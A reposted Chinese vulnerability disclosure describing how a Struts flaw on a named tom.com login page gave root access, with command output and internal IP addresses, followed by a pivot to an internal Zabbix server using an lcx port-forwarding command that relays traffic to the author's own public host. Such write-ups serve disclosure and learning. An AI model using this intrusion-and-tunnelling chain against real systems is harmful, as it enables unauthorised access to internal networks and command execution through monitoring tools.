tom在线小问题到zabbix沦陷 - 网站安全

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] zabbix可以添加监控项跑命令的、接下来的事情你懂得；发这个洞主要的目的是为了提醒大家zabbix还是得注意下首先一个struts漏洞、http://fm.tom.com/login-share/tomlogin/login.actionstruts漏洞就不多...

zabbix可以添加监控项跑命令的、接下来的事情你懂得；

发这个洞主要的目的是为了提醒大家zabbix还是得注意下

首先一个struts漏洞、

http://fm.tom.com/login-share/tomlogin/login.action

struts漏洞就不多解释了，

uid=0(root) gid=0(root) groups=0(root)

ifconfig

eth2 Link encap:Ethernet HWaddr 00:18:8B:83:1B:45

inet addr:172.24.205.15 Bcast:172.24.205.255 Mask:255.255.255.0

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:81041 errors:0 dropped:0 overruns:0 frame:0

TX packets:60 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

Interrupt:16 Memory:f8000000-f8012800

其次是因为http://www.wooyun.org/bugs/wooyun-2010-012565

这个漏洞的忽略，收藏了几个脚本、install-zabbix.sh

本身我也比较喜欢收集些脚本，学习学习。

看下面吧

吐槽下吧，做安全这么些年，运维逐步走向自动化，puppet，zabbix，ldap还是要注意下吧、屌丝们入侵也希望自动化的。

漏洞证明：

没有外网IP有点蛋疼，

curl http://172.24.162.38/zabbix/ #返回的是zabbix登陆页

确认上面信息后，首先要做一个跳转将172.24.205.15的某个端口转到172.24.162.38的80端口，然后将172.24.205.15监听的端口转到外网来，这样就可以正常访问了

看图

0.0.0.0 98 172.24.162.38 80

做的转发

然后将98端口转发到公网

./lcx -m 3 -h1 youip -p1 786 -h2 127.0.0.1 -p2 98

然后见下图

至于后面、、、你们懂得，

修复方案：

你们比我这屌丝专业太多了

更多文章推荐